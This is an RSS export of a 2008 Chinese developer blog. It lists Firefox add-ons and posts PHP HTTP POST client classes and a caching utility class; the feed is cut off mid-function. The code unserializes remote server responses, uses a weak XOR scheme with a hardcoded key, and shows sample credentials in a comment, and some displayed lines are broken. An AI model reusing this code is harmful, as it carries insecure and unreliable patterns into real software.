<?xml version="1.0" encoding="UTF-8" ?>
<rss version="2.0">
  <channel>
    <title>kenter1643</title>
    <description></description>
    <link>http://kenter1643.javaeye.com</link>
    <language>UTF-8</language>
    <copyright>Copyright 2003-2008, JavaEye.com</copyright>
    <docs>http://blogs.law.harvard.edu/tech/rss</docs>
    <generator>JavaEye - 做最棒的软件开发交流社区</generator>
      <item>
        <title>我喜欢的firefox3插件</title>
        <author>kenter1643</author>
        <description>
          <![CDATA[
          <br/>
          作者: <a href="http://kenter1643.javaeye.com">kenter1643</a>&nbsp;
          链接：<a href="http://kenter1643.javaeye.com/blog/216300" style="color:red;">http://kenter1643.javaeye.com/blog/216300</a>&nbsp;
          发表时间: 2008年07月18日
          <br/><br/>
          声明：本文系JavaEye网站发布的原创博客文章，未经作者书面许可，严禁任何网站转载本文，否则必将追究法律责任！
          <br/><br/>
          <p><a href="https://addons.mozilla.org/en-US/firefox/search?q=gladder&amp;cat=all" title="gladder" target="_blank">gladder</a>
 让你轻松突破该死的国家防火墙</p>
<p>&nbsp;</p>
<p><a href="https://addons.mozilla.org/en-US/firefox/search?q=flashgot&amp;cat=all" title="flashgot" target="_blank">flashgot</a>
 firefox联系本地下载工具的插件，firefox本省的下载管理感觉不怎么样</p>
<p>&nbsp;</p>
<p>firebug1.2 调试浏览器动作特别是ajax必装工具</p>
<p>&nbsp;</p>
<p>GmailManger 轻松管理你的邮件接收,很好用,内嵌浏览器包括提示</p>
<p>&nbsp;</p>
<p>IEtab 呵呵 这个一键切换IE浏览,经典</p>
<p>&nbsp;</p>
<p>还有些 </p>
<p>&nbsp;</p>
<h4 title="Learn more about this add-on" class="name"><a href="https://addons.mozilla.org/zh-CN/firefox/addon/60">Web Developer</a>
 网页涉及ccs等的设计</h4>
<h3 class="name"><a href="https://addons.mozilla.org/zh-CN/firefox/addon/966">Tamper Data</a>
 http和tcp协议调试监听的插件</h3>
<h3 class="name"><a href="https://addons.mozilla.org/zh-CN/firefox/addon/2318">Total Validator</a>
 验证<br />
</h3>
          <br/>
          <span style="color:red;">
            <a href="http://kenter1643.javaeye.com/blog/216300#comments" style="color:red;">本文的讨论也很精彩，浏览讨论>></a>
          </span>
          <br/><br/><br/>
          <span style="color:#E28822;">JavaEye推荐</span>
          <br/>
          <ul class='adverts'><li><a href='/adverts/42' target='_blank'><span style="color:red;font-weight:bold;">搜狐网站诚聘Java、PHP和C++工程师</span></a></li><li><a href='/adverts/41' target='_blank'><span style="color:red;font-weight:bold;">北京: 千橡集团暨校内网诚聘软件研发工程师</span></a></li></ul>
          <br/><br/><br/>
          ]]>
        </description>
        <pubDate>Fri, 18 Jul 2008 17:42:57 +0800</pubDate>
        <link>http://kenter1643.javaeye.com/blog/216300</link>
        <guid>http://kenter1643.javaeye.com/blog/216300</guid>
      </item>
      <item>
        <title>Http的又一个post类</title>
        <author>kenter1643</author>
        <description>
          <![CDATA[
          <br/>
          作者: <a href="http://kenter1643.javaeye.com">kenter1643</a>&nbsp;
          链接：<a href="http://kenter1643.javaeye.com/blog/204150" style="color:red;">http://kenter1643.javaeye.com/blog/204150</a>&nbsp;
          发表时间: 2008年06月16日
          <br/><br/>
          声明：本文系JavaEye网站发布的原创博客文章，未经作者书面许可，严禁任何网站转载本文，否则必将追究法律责任！
          <br/><br/>
          <pre name="code" class="java">&lt;?php

/* Version 0.9, 6th April 2003 - Simon Willison ( http://simon.incutio.com/ )
   Manual: http://scripts.incutio.com/httpclient/
*/

class HttpClient {
    // Request vars
    var $host;
    var $port;
    var $path;
    var $method;
    var $postdata = '';
    var $cookies = array();
    var $referer;
    var $accept = 'text/xml,application/xml,application/xhtml+xml,text/html,text/plain,image/png,image/jpeg,image/gif,*/*';
    var $accept_encoding = 'gzip';
    var $accept_language = 'en-us';
    var $user_agent = 'Incutio HttpClient v0.9';
    // Options
    var $timeout = 20;
    var $use_gzip = true;
    var $persist_cookies = true;  // If true, received cookies are placed in the $this-&gt;cookies array ready for the next request
                                  // Note: This currently ignores the cookie path (and time) completely. Time is not important, 
                                  //       but path could possibly lead to security problems.
    var $persist_referers = true; // For each request, sends path of last request as referer
    var $debug = false;
    var $handle_redirects = true; // Auaomtically redirect if Location or URI header is found
    var $max_redirects = 5;
    var $headers_only = false;    // If true, stops receiving once headers have been read.
    // Basic authorization variables
    var $username;
    var $password;
    // Response vars
    var $status;
    var $headers = array();
    var $content = '';
    var $errormsg;
    // Tracker variables
    var $redirect_count = 0;
    var $cookie_host = '';
    function HttpClient($host, $port=80) {
        $this-&gt;host = $host;
        $this-&gt;port = $port;
    }
    function get($path, $data = false) {
        $this-&gt;path = $path;
        $this-&gt;method = 'GET';
        if ($data) {
            $this-&gt;path .= '?'.$this-&gt;buildQueryString($data);
        }
        return $this-&gt;doRequest();
    }
    function post($path, $data) {
        $this-&gt;path = $path;
        $this-&gt;method = 'POST';
        $this-&gt;postdata = $this-&gt;buildQueryString($data);
    	return $this-&gt;doRequest();
    }
    function buildQueryString($data) {
        $querystring = '';
        if (is_array($data)) {
            // Change data in to postable data
    		foreach ($data as $key =&gt; $val) {
    			if (is_array($val)) {
    				foreach ($val as $val2) {
    					$querystring .= urlencode($key).'='.urlencode($val2).'&amp;';
    				}
    			} else {
    				$querystring .= urlencode($key).'='.urlencode($val).'&amp;';
    			}
    		}
    		$querystring = substr($querystring, 0, -1); // Eliminate unnecessary &amp;
    	} else {
    	    $querystring = $data;
    	}
    	return $querystring;
    }
    function doRequest() {
        // Performs the actual HTTP request, returning true or false depending on outcome
		if (!$fp = @fsockopen($this-&gt;host, $this-&gt;port, $errno, $errstr, $this-&gt;timeout)) {
		    // Set error message
            switch($errno) {
				case -3:
					$this-&gt;errormsg = 'Socket creation failed (-3)';
				case -4:
					$this-&gt;errormsg = 'DNS lookup failure (-4)';
				case -5:
					$this-&gt;errormsg = 'Connection refused or timed out (-5)';
				default:
					$this-&gt;errormsg = 'Connection failed ('.$errno.')';
			    $this-&gt;errormsg .= ' '.$errstr;
			    $this-&gt;debug($this-&gt;errormsg);
			}
			return false;
        }
        socket_set_timeout($fp, $this-&gt;timeout);
        $request = $this-&gt;buildRequest();
        $this-&gt;debug('Request', $request);
        fwrite($fp, $request);
    	// Reset all the variables that should not persist between requests
    	$this-&gt;headers = array();
    	$this-&gt;content = '';
    	$this-&gt;errormsg = '';
    	// Set a couple of flags
    	$inHeaders = true;
    	$atStart = true;
    	// Now start reading back the response
    	while (!feof($fp)) {
    	    $line = fgets($fp, 4096);
    	    if ($atStart) {
    	        // Deal with first line of returned data
    	        $atStart = false;
    	        if (!preg_match('/HTTP\/(\\d\\.\\d)\\s*(\\d+)\\s*(.*)/', $line, $m)) {
    	            $this-&gt;errormsg = &quot;Status code line invalid: &quot;.htmlentities($line);
    	            $this-&gt;debug($this-&gt;errormsg);
    	            return false;
    	        }
    	        $http_version = $m[1]; // not used
    	        $this-&gt;status = $m[2];
    	        $status_string = $m[3]; // not used
    	        $this-&gt;debug(trim($line));
    	        continue;
    	    }
    	    if ($inHeaders) {
    	        if (trim($line) == '') {
    	            $inHeaders = false;
    	            $this-&gt;debug('Received Headers', $this-&gt;headers);
    	            if ($this-&gt;headers_only) {
    	                break; // Skip the rest of the input
    	            }
    	            continue;
    	        }
    	        if (!preg_match('/([^:]+):\\s*(.*)/', $line, $m)) {
    	            // Skip to the next header
    	            continue;
    	        }
    	        $key = strtolower(trim($m[1]));
    	        $val = trim($m[2]);
    	        // Deal with the possibility of multiple headers of same name
    	        if (isset($this-&gt;headers[$key])) {
    	            if (is_array($this-&gt;headers[$key])) {
    	                $this-&gt;headers[$key][] = $val;
    	            } else {
    	                $this-&gt;headers[$key] = array($this-&gt;headers[$key], $val);
    	            }
    	        } else {
    	            $this-&gt;headers[$key] = $val;
    	        }
    	        continue;
    	    }
    	    // We're not in the headers, so append the line to the contents
    	    $this-&gt;content .= $line;
        }
        fclose($fp);
        // If data is compressed, uncompress it
        if (isset($this-&gt;headers['content-encoding']) &amp;&amp; $this-&gt;headers['content-encoding'] == 'gzip') {
            $this-&gt;debug('Content is gzip encoded, unzipping it');
            $this-&gt;content = substr($this-&gt;content, 10); // See http://www.php.net/manual/en/function.gzencode.php
            $this-&gt;content = gzinflate($this-&gt;content);
        }
        // If $persist_cookies, deal with any cookies
        if ($this-&gt;persist_cookies &amp;&amp; isset($this-&gt;headers['set-cookie']) &amp;&amp; $this-&gt;host == $this-&gt;cookie_host) {
            $cookies = $this-&gt;headers['set-cookie'];
            if (!is_array($cookies)) {
                $cookies = array($cookies);
            }
            foreach ($cookies as $cookie) {
                if (preg_match('/([^=]+)=([^;]+);/', $cookie, $m)) {
                    $this-&gt;cookies[$m[1]] = $m[2];
                }
            }
            // Record domain of cookies for security reasons
            $this-&gt;cookie_host = $this-&gt;host;
        }
        // If $persist_referers, set the referer ready for the next request
        if ($this-&gt;persist_referers) {
            $this-&gt;debug('Persisting referer: '.$this-&gt;getRequestURL());
            $this-&gt;referer = $this-&gt;getRequestURL();
        }
        // Finally, if handle_redirects and a redirect is sent, do that
        if ($this-&gt;handle_redirects) {
            if (++$this-&gt;redirect_count &gt;= $this-&gt;max_redirects) {
                $this-&gt;errormsg = 'Number of redirects exceeded maximum ('.$this-&gt;max_redirects.')';
                $this-&gt;debug($this-&gt;errormsg);
                $this-&gt;redirect_count = 0;
                return false;
            }
            $location = isset($this-&gt;headers['location']) ? $this-&gt;headers['location'] : '';
            $uri = isset($this-&gt;headers['uri']) ? $this-&gt;headers['uri'] : '';
            if ($location || $uri) {
                $url = parse_url($location.$uri);
                // This will FAIL if redirect is to a different site
                return $this-&gt;get($url['path']);
            }
        }
        return true;
    }
    function buildRequest() {
        $headers = array();
        $headers[] = &quot;{$this-&gt;method} {$this-&gt;path} HTTP/1.0&quot;; // Using 1.1 leads to all manner of problems, such as &quot;chunked&quot; encoding
        $headers[] = &quot;Host: {$this-&gt;host}&quot;;
        $headers[] = &quot;User-Agent: {$this-&gt;user_agent}&quot;;
        $headers[] = &quot;Accept: {$this-&gt;accept}&quot;;
        if ($this-&gt;use_gzip) {
            $headers[] = &quot;Accept-encoding: {$this-&gt;accept_encoding}&quot;;
        }
        $headers[] = &quot;Accept-language: {$this-&gt;accept_language}&quot;;
        if ($this-&gt;referer) {
            $headers[] = &quot;Referer: {$this-&gt;referer}&quot;;
        }
    	// Cookies
    	if ($this-&gt;cookies) {
    	    $cookie = 'Cookie: ';
    	    foreach ($this-&gt;cookies as $key =&gt; $value) {
    	        $cookie .= &quot;$key=$value; &quot;;
    	    }
    	    $headers[] = $cookie;
    	}
    	// Basic authentication
    	if ($this-&gt;username &amp;&amp; $this-&gt;password) {
    	    $headers[] = 'Authorization: BASIC '.base64_encode($this-&gt;username.':'.$this-&gt;password);
    	}
    	// If this is a POST, set the content type and length
    	if ($this-&gt;postdata) {
    	    $headers[] = 'Content-Type: application/x-www-form-urlencoded';
    	    $headers[] = 'Content-Length: '.strlen($this-&gt;postdata);
    	}
    	$request = implode(&quot;\r\n&quot;, $headers).&quot;\r\n\r\n&quot;.$this-&gt;postdata;
    	return $request;
    }
    function getStatus() {
        return $this-&gt;status;
    }
    function getContent() {
        return $this-&gt;content;
    }
    function getHeaders() {
        return $this-&gt;headers;
    }
    function getHeader($header) {
        $header = strtolower($header);
        if (isset($this-&gt;headers[$header])) {
            return $this-&gt;headers[$header];
        } else {
            return false;
        }
    }
    function getError() {
        return $this-&gt;errormsg;
    }
    function getCookies() {
        return $this-&gt;cookies;
    }
    function getRequestURL() {
        $url = 'http://'.$this-&gt;host;
        if ($this-&gt;port != 80) {
            $url .= ':'.$this-&gt;port;
        }            
        $url .= $this-&gt;path;
        return $url;
    }
    // Setter methods
    function setUserAgent($string) {
        $this-&gt;user_agent = $string;
    }
    function setAuthorization($username, $password) {
        $this-&gt;username = $username;
        $this-&gt;password = $password;
    }
    function setCookies($array) {
        $this-&gt;cookies = $array;
    }
    // Option setting methods
    function useGzip($boolean) {
        $this-&gt;use_gzip = $boolean;
    }
    function setPersistCookies($boolean) {
        $this-&gt;persist_cookies = $boolean;
    }
    function setPersistReferers($boolean) {
        $this-&gt;persist_referers = $boolean;
    }
    function setHandleRedirects($boolean) {
        $this-&gt;handle_redirects = $boolean;
    }
    function setMaxRedirects($num) {
        $this-&gt;max_redirects = $num;
    }
    function setHeadersOnly($boolean) {
        $this-&gt;headers_only = $boolean;
    }
    function setDebug($boolean) {
        $this-&gt;debug = $boolean;
    }
    // &quot;Quick&quot; static methods
    function quickGet($url) {
        $bits = parse_url($url);
        $host = $bits['host'];
        $port = isset($bits['port']) ? $bits['port'] : 80;
        $path = isset($bits['path']) ? $bits['path'] : '/';
        if (isset($bits['query'])) {
            $path .= '?'.$bits['query'];
        }
        $client = new HttpClient($host, $port);
        if (!$client-&gt;get($path)) {
            return false;
        } else {
            return $client-&gt;getContent();
        }
    }
    function quickPost($url, $data) {
        $bits = parse_url($url);
        $host = $bits['host'];
        $port = isset($bits['port']) ? $bits['port'] : 80;
        $path = isset($bits['path']) ? $bits['path'] : '/';
        $client = new HttpClient($host, $port);
        if (!$client-&gt;post($path, $data)) {
            return false;
        } else {
            return $client-&gt;getContent();
        }
    }
    function debug($msg, $object = false) {
        if ($this-&gt;debug) {
            print '&lt;div style=&quot;border: 1px solid red; padding: 0.5em; margin: 0.5em;&quot;&gt;&lt;strong&gt;HttpClient Debug:&lt;/strong&gt; '.$msg;
            if ($object) {
                ob_start();
        	    print_r($object);
        	    $content = htmlentities(ob_get_contents());
        	    ob_end_clean();
        	    print '&lt;pre&gt;'.$content.'&lt;/pre&gt;';
        	}
        	print '&lt;/div&gt;';
        }
    }   
}

?&gt;</pre>
<p>&nbsp;调用方式</p>
<pre name="code" class="java"> $ws=HttpClient::quickPost(&quot;http://www.xxx.com:8080/push.jsp&quot;,$data);</pre>
&nbsp;
          <br/>
          <span style="color:red;">
            <a href="http://kenter1643.javaeye.com/blog/204150#comments" style="color:red;">本文的讨论也很精彩，浏览讨论>></a>
          </span>
          <br/><br/><br/>
          <span style="color:#E28822;">JavaEye推荐</span>
          <br/>
          <ul class='adverts'><li><a href='/adverts/41' target='_blank'><span style="color:red;font-weight:bold;">北京: 千橡集团暨校内网诚聘软件研发工程师</span></a></li><li><a href='/adverts/42' target='_blank'><span style="color:red;font-weight:bold;">搜狐网站诚聘Java、PHP和C++工程师</span></a></li></ul>
          <br/><br/><br/>
          ]]>
        </description>
        <pubDate>Mon, 16 Jun 2008 14:32:38 +0800</pubDate>
        <link>http://kenter1643.javaeye.com/blog/204150</link>
        <guid>http://kenter1643.javaeye.com/blog/204150</guid>
      </item>
      <item>
        <title>php实现网页的post和获取post返回的信息</title>
        <author>kenter1643</author>
        <description>
          <![CDATA[
          <br/>
          作者: <a href="http://kenter1643.javaeye.com">kenter1643</a>&nbsp;
          链接：<a href="http://kenter1643.javaeye.com/blog/203471" style="color:red;">http://kenter1643.javaeye.com/blog/203471</a>&nbsp;
          发表时间: 2008年06月15日
          <br/><br/>
          声明：本文系JavaEye网站发布的原创博客文章，未经作者书面许可，严禁任何网站转载本文，否则必将追究法律责任！
          <br/><br/>
          <pre name="code" class="java"><pre name="code" class="java"></pre>
&nbsp;&lt;?php
/*远程处理类*/
class WebServer_data
{
	function WebServer_data()
	{
	}
	var $postdataArray;//提交的数组
	var $post_timeOut=30;
	var $public_Encryption_key='cntiadmin';//加密偏移量
	var $post_url="";  // 远程访问地址,不过现在不起作用
	function postdata($data=array())
	{
		if(count($data)&gt;0)
		$this-&gt;postdataArray=$data;
	}

	/**
	 * 提交发送数据返回已序列化的PHP数据内容
	 *
	 * @param string $PostUrl 要指交的远程地址
	 * @param array $data 要提交的数据
     * @return obj  远程返回的对像
	 */
	function getWebServerData($PostUrl,$data)
	{
		$postReturnData=$this-&gt;post_data($PostUrl,$data);
		return unserialize($postReturnData);
	}

	/**
	 * 提交发送数据返回已序化的加密数据内容,回来还要解密
	 *
	 * @param unknown_type $PostUrl
	 * @param unknown_type $data
	 * @return unknown
	 */
	function getCrtyWebServerData($PostUrl,$data=array())
	{
		$postReturnData=$this-&gt;post_data($PostUrl,$data);
		if($postReturnData=="false") return "false";
		//return $postReturnData;
		//return $this-&gt;StrCode($postReturnData,$this-&gt;public_Encryption_key,'DECODE');
		return unserialize($this-&gt;StrCode($postReturnData,$this-&gt;public_Encryption_key,'DECODE'));
	}

	/**
	 * 字符串加解密
	 *
	 * $str=$Function_Class-&gt;strCode("abc","哈哈","ENCODE");
	 *$str=$Function_Class-&gt;strCode($str,"哈哈","DECODE");
	 * 
	 * 
	 * @param string $string  要处理的字符串
	 * @param string $offKey  加密的偏移量    为空则为拿当前用户请求的IP
	 * @param string $action  ENCODE加密    DECODE解密
	 * @return string
	 */
	function StrCode($string,$offKey="",$action='ENCODE'){
		if($offKey=="")
		$key	= substr(md5($_SERVER["HTTP_USER_AGENT"]),8,18);
		else
		$key=substr(md5($offKey),8,18);
		unset($offKey);
		$string	= $action == 'ENCODE' ? $string : base64_decode($string);
		$len	= strlen($key);
		$code	= '';
		for($i=0; $i&lt;strlen($string); $i++){
			$k		= $i % $len;
			$code  .= $string[$i] ^ $key[$k];
		}
		$code = $action == 'DECODE' ? $code : base64_encode($code);
		return $code;
	}


	/**
     * 表单模拟提交发送
     *
     * @param string $PostUrl  要指交的远程地址
     * @param array $data    要提交的数据
     * @return string 
     */
	function post_data($PostUrl,$data=array())
	{
		if(count($data)&gt;0)
		$this-&gt;postdataArray=$data;
		//检测输入
		$url_file = trim($PostUrl);
		if (empty($url_file)) { return false; }
		$url_arr = parse_url($url_file);
		if (!is_array($url_arr) || empty($url_arr)){ return false; }
		//获取请求数据
		$host = $url_arr['host'];
		if(!empty($url_arr['query'])&amp;&amp;$url_arr['query']!=null)
			$path = $url_arr['path'] ."?". $url_arr['query'];
		else 
			$path = $url_arr['path'];
		$port = isset($url_arr['port']) ? $url_arr['port'] : "80";
		//连接服务器
		$fp = fsockopen($host, $port, $err_no, $err_str, $this-&gt;post_timeOut);
		if (!$fp){ return false; }
		$ret="";
		$out = "";
		while (list ($k, $v) = each ($this-&gt;postdataArray)) {
			if(strlen($out) != 0) $out .= "&amp;";
			$out .= rawurlencode($k). "=" .rawurlencode($v);
		}
		$out = trim ($out);
		$request     =   "POST ".$path."  HTTP/1.0\r\n";
		$request   .=   "Host: ".$host."\r\n";
		$request   .=   "User-Agent: Incutio HttpClient v0.9\r\n";
		$request   .=    "Accept: text/xml,application/xml,application/xhtml+xml,text/html,text/plain,image/png,image/jpeg,image/gif,*/*\r\n";
		$request   .=   "Accept-encoding: gzip\r\n";
		$request   .=   "Accept-Language:   zh-cn\r\n";
		$request   .=   "Content-Type:   application/x-www-form-urlencoded\r\n";
		$request   .=   "Content-length:   ".strlen($out)."\r\n";
		$request   .=   "Connection:   Keep-Alive\r\n\r\n";
		$request.=$out;
		fputs($fp,$request);
		unset($request);
		$inHeaders = true;
		$atStart = true;
		while(!feof($fp)){
			$line = fgets($fp, 4096);
			if ($atStart) {
				// 是否第一次返回数据
				$atStart = false;
				if (!preg_match('/HTTP\/(\\d\\.\\d)\\s*(\\d+)\\s*(.*)/', $line, $m)) {
					return false;
				}
				continue;
			}
			if ($inHeaders) {
				if (trim($line) == '') {
					$inHeaders = false;
					continue;
				}
				if (!preg_match('/([^:]+):\\s*(.*)/', $line, $m)) {
					continue;
				}
				continue;
			}
			$ret.= $line;
		}
		fclose ($fp);
		return $ret;
	}
	/**
	 * 设置提交数据
	 *
	 * @param obj $key
	 * @param obj $value
	 */
	function setPostData($key,$value)
	{
		$this-&gt;postdataArray[$key]=$value;
	}

	/**
	 * 函数：remote_file_exists
	*  功能：判断远程文件是否存在
	 *
	 * @param  string  $remoteFile  远程文件URL
	 * @return  bool 存在返回true，不存在或者其他原因返回false
	 */
	function remote_file_exists($remoteFile){
		//检测输入
		$url_file = trim($remoteFile);
		if (empty($url_file)) { return false; }
		$url_arr = parse_url($url_file);
		if (!is_array($url_arr) || empty($url_arr)){ return false; }

		//获取请求数据
		$host = $url_arr['host'];
		if(!empty($url_arr['query'])&amp;&amp;$url_arr['query']!=null)
			$path = $url_arr['path'] ."?". $url_arr['query'];
		else 
			$path = $url_arr['path'] ;
		$port = isset($url_arr['port']) ? $url_arr['port'] : "80";

		//连接服务器
		$fp = fsockopen($host, $port, $err_no, $err_str, 30);
		if (!$fp){ return false; }
		//构造请求协议
		$request_str = "GET ".$path." HTTP/1.1\r\n";
		$request_str .= "Host: ".$host."\r\n";
		$request_str .= "Connection: Close\r\n\r\n";
		//发送请求
		fwrite($fp, $request_str);
		$first_header = fgets($fp, 1024);
		fclose($fp);
		//判断文件是否存在
		if (trim($first_header) == ""){ return false; }
		if (!preg_match("/200/", $first_header)){
			return false;
		}
		return true;
	}
}
/*
require("Class_model/WebServer_data.php");
$postdate=new WebServer_data();
$postdate-&gt;setPostData("login","admin");
$postdate-&gt;setPostData("password","xiaosheng");
$arraystr=$postdate-&gt;post_data("http://192.168.1.130/soap_post.php");
如果返回是一个序列化的字符串,刚可以搞用下面这一句得到原来的值
$arraystr=unserialize($arraystr);
print_r($arraystr);
$obj=getWebServerData("http://192.168.1.130/soap_post.php");是返回请求地址返回的已序列化对
*/
?&gt;</pre>
<p>&nbsp;</p>
<pre name="code" class="java">&lt;?php
require_once(D_P_Client."Class_model/Webserver_data.php");
echo '开始';
$ws=new WebServer_data();
$data=array(
'username'=&gt;'kenter1',
'type'=&gt;'login',
);
echo '执行post';
print_r($ws-&gt;post_data("http://www.XXX.com/login.php",$data));
echo '完成';
?&gt;</pre>
<p>&nbsp;</p>
          <br/>
          <span style="color:red;">
            <a href="http://kenter1643.javaeye.com/blog/203471#comments" style="color:red;">本文的讨论也很精彩，浏览讨论>></a>
          </span>
          <br/><br/><br/>
          <span style="color:#E28822;">JavaEye推荐</span>
          <br/>
          <ul class='adverts'><li><a href='/adverts/41' target='_blank'><span style="color:red;font-weight:bold;">北京: 千橡集团暨校内网诚聘软件研发工程师</span></a></li><li><a href='/adverts/42' target='_blank'><span style="color:red;font-weight:bold;">搜狐网站诚聘Java、PHP和C++工程师</span></a></li></ul>
          <br/><br/><br/>
          ]]>
        </description>
        <pubDate>Sun, 15 Jun 2008 14:37:19 +0800</pubDate>
        <link>http://kenter1643.javaeye.com/blog/203471</link>
        <guid>http://kenter1643.javaeye.com/blog/203471</guid>
      </item>
      <item>
        <title>php中将数组缓存化记录</title>
        <author>kenter1643</author>
        <description>
          <![CDATA[
          <br/>
          作者: <a href="http://kenter1643.javaeye.com">kenter1643</a>&nbsp;
          链接：<a href="http://kenter1643.javaeye.com/blog/203200" style="color:red;">http://kenter1643.javaeye.com/blog/203200</a>&nbsp;
          发表时间: 2008年06月14日
          <br/><br/>
          声明：本文系JavaEye网站发布的原创博客文章，未经作者书面许可，严禁任何网站转载本文，否则必将追究法律责任！
          <br/><br/>
          <p>php中将数组缓存化记录</p>
<pre name="code" class="java">&lt;?php

class Function_Class
{
	function Function_Class()
	{

	}
	/**
 * 数组缓存字符串生成
 *
 * @param string $arrayName  要要缓存的数组名
 * @param array $array   要缓存的数组�
 * @return string
 */
	function export_ArrayString($arrayName,$array){

		$var=Function_Class::export_ArrayString_child($array,1,"","");
		$var="$".$arrayName."=".$var.";";
		return $var;
	}

	/**
 * 数组缓存字符串生成 与export_ArrayString 配合
 *
 * @param array $array  要缓存的数组
 * @param int $c 是否为第一次使用
 * @param string $t 
 * @param string $var 上一次的数据
 * @return string
 */
	function export_ArrayString_child($array,$c=1,$t='',$var=''){
		$c &amp;&amp; $var="array(\r\n";
		$t.="  ";
		if(is_array($array)){
			foreach($array as $key =&gt; $value){
				$var.="$t'".addslashes($key)."'=&gt;";
				if(is_array($value)){
					$var.="array(\r\n";
					$var=Function_Class::export_ArrayString_child($value,0,$t,$var);
					$var.="$t),\r\n";
				} else{
					$var.="'".addslashes($value)."',\r\n";
				}
			}
		}
		if($c){
			$var.=")";
		}
		return $var;
	}

	/**
 *普通变量缓存字符串生成
 *
 * @param string $varName  变量名
 * @param string $string  变量数据
 * @return string
 */
	function export_StrString($varName,$string)
	{
		$string=addslashes($string);
		$string="\"$string\";\r\n";
		$string="$".$varName."=".$string;
		return $string;
	}

	/**
	 * 数据集缓存操作生成字符串
	 *
	 * @param obj $queryObj  数据集�
	 * @param string $arrayName 要缓存数组名�
	 * @param  int $result_type 数据集排序形式�
	 * @return string
	 */
	function DataBase_QueryCache($queryObj,$arrayName,$result_type = MYSQL_ASSOC)
	{
		$blogdb=array();
		while ($rt=mysql_fetch_array($queryObj,$result_type)) {
			$blogdb[]=$rt;
		}
		unset($queryObj,$SelectSql);
		return Function_Class::export_ArrayString($arrayName,$blogdb);
	}

	/**
 * 把缓存字符串写入文件�
 * 
 * @param string $filename  文件名
 * @param string  $data 要写入的数据
 * @param string $method 写入模式 与文件操作的模式一样
 * @param string  $iflock  是否锁定文件
 */
	function writeFile($filename,$data,$method="rb+",$iflock=1){
		touch($filename);
		$handle=fopen($filename,$method);
		if($iflock){
			flock($handle,LOCK_EX);
		}
		fwrite($handle,$data);
		if($method=="rb+") ftruncate($handle,strlen($data));
		fclose($handle);
	}

	/**
 * 读文件内容
 *
 * @param string $filename 文件名
 * @param string $method  与件操作的模式
 * @return string   
 */
	function readFile($filename,$method="rb"){
		if($handle=@fopen($filename,$method)){
			flock($handle,LOCK_SH);
			$filedata=fread($handle,filesize($filename));
			fclose($handle);
		}
		return $filedata;
	}

	/**
	 * 数组排序方法
	 *
	 * @param  array $arraylist 要排序的数组
	 * @param string $key 要实行排序的字段名
	 * @param string $type  排序形式  desc   asc
	 * @return unknown
	 */
	function mysort($arraylist=array(),$key="",$type="DESC")
	{
		if(!$arraylist)return $arraylist;
		if(!$key)return $arraylist;
		$tempArray=array();
		foreach ($arraylist as $arrayKey=&gt;$arrayValue)
		{
			foreach ($arraylist as $arrayKey2=&gt;$arrayValue2)
			{
				if(strtoupper($type)=="DESC")
				{
					if(intval($arrayValue[$key])&gt;intval($arrayValue2[$key]))
					{
						$tempArray=$arrayValue;
						$arrayValue=$arrayValue2;
						$arrayValue2=$tempArray;
						$arraylist[$arrayKey]=$arrayValue;
						$arraylist[$arrayKey2]=$tempArray;
					}
				}
				else
				{
					if(intval($arrayValue[$key])&lt;intval($arrayValue2[$key]))
					{
						$tempArray=$arrayValue;
						$arrayValue=$arrayValue2;
						$arrayValue2=$tempArray;
						$arraylist[$arrayKey]=$arrayValue;
						$arraylist[$arrayKey2]=$tempArray;
					}
				}
			}
			unset($tempArray);
		}
		return $arraylist;
	}

	/**
	 * 字符串节取
	 *
	 * @param string $str_cut 要节取的字符串
	 * @param int $length  要节取的长度
	 * @param bool $isshowmessage   是否显示message的变量值 
	 * @param string $message    多出来显示的字符串
	 * @return string
	 */
	function substr_cut($sourcestr,$cutlength=30,$isshowmessage=true,$message="..."){
		$returnstr='';
		$i=0;
		$n=0;
		$str_length=strlen($sourcestr);//字符串的字节数
		while (($n&lt;$cutlength) and ($i&lt;=$str_length))
		{
			$temp_str=substr($sourcestr,$i,1);
			$ascnum=Ord($temp_str);//得到字符串中第$i位字符的ascii码
			if ($ascnum&gt;=224) //如果ASCII位高与224，
			{
				$returnstr=$returnstr.substr($sourcestr,$i,3); //根据UTF-8编码规范，将3个连续的字符计为单个字符
				$i=$i+3; //实际Byte计为3
				$n++; //字串长度计1
			}
			elseif ($ascnum&gt;=192) //如果ASCII位高与192，
			{
				$returnstr=$returnstr.substr($sourcestr,$i,2); //根据UTF-8编码规范，将2个连续的字符计为单个字符
				$i=$i+2; //实际Byte计为2
				$n++; //字串长度计1
			}
			elseif ($ascnum&gt;=33 &amp;&amp; $ascnum&lt;=59) //其它标点号，
			{
				$returnstr=$returnstr.substr($sourcestr,$i,1);
				$i=$i+1; //实际的Byte数仍计1个
				$n++; //但考虑整体美观，大写字母计成一个高位字符
			}
			elseif ($ascnum&gt;=65 &amp;&amp; $ascnum&lt;=90) //如果是大写字母，
			{
				$returnstr=$returnstr.substr($sourcestr,$i,1);
				$i=$i+1; //实际的Byte数仍计1个
				$n++; //但考虑整体美观，大写字母计成一个高位字符
			}
			elseif($ascnum&gt;=48 &amp;&amp; $ascnum&lt;=57)//如果是数字的
			{
				$returnstr=$returnstr.substr($sourcestr,$i,1);
				$i=$i+1; //实际的Byte数仍计1个
				$n++; //但考虑整体美观，大写字母计成一个高位字符
			}
			elseif($ascnum===32)//如果是空格的
			{
				$returnstr=$returnstr.substr($sourcestr,$i,1);
				$i=$i+1; //实际的Byte数仍计1个
				$n++; //但考虑整体美观，大写字母计成一个高位字符
			}
			elseif($ascnum===64)//@
			{
				$returnstr=$returnstr.substr($sourcestr,$i,1);
				$i=$i+1; //实际的Byte数计1个
				$n=$n+0.5; //小写字母和半角标点等与半个高位字符宽...
			}
			else //其他情况下，包括小写字母和半角标点符号，
			{
				$returnstr=$returnstr.substr($sourcestr,$i,1);
				$i=$i+1; //实际的Byte数计1个
				$n=$n+0.5; //小写字母和半角标点等与半个高位字符宽...
			}
		}
		if ($str_length&gt;$cutlength){
			if($isshowmessage)
			$returnstr = $returnstr . $message;//超过长度时在尾处加上省略号
		}
		return $returnstr;
	}


	/**
	 * 返回HTML内容
	 *
	 * @param string $content  要处理的非HTML内容
	 * @return string
	 */
	function getHtmlString($content)
	{
		$Sw = $content;
		if(empty($Sw))return "";
		$Sw =str_replace("&amp;","&amp;",$Sw);
		$Sw =str_replace("&lt;","&lt;",$Sw);
		$Sw =str_replace("&gt;","&gt;",$Sw);
		$Sw =str_replace(" "," ",$Sw);
		$Sw =str_replace("\n","&lt;br /&gt;",$Sw);
		$Sw =str_replace("\"",""",$Sw);
		$Sw =str_replace("＇","’",$Sw);
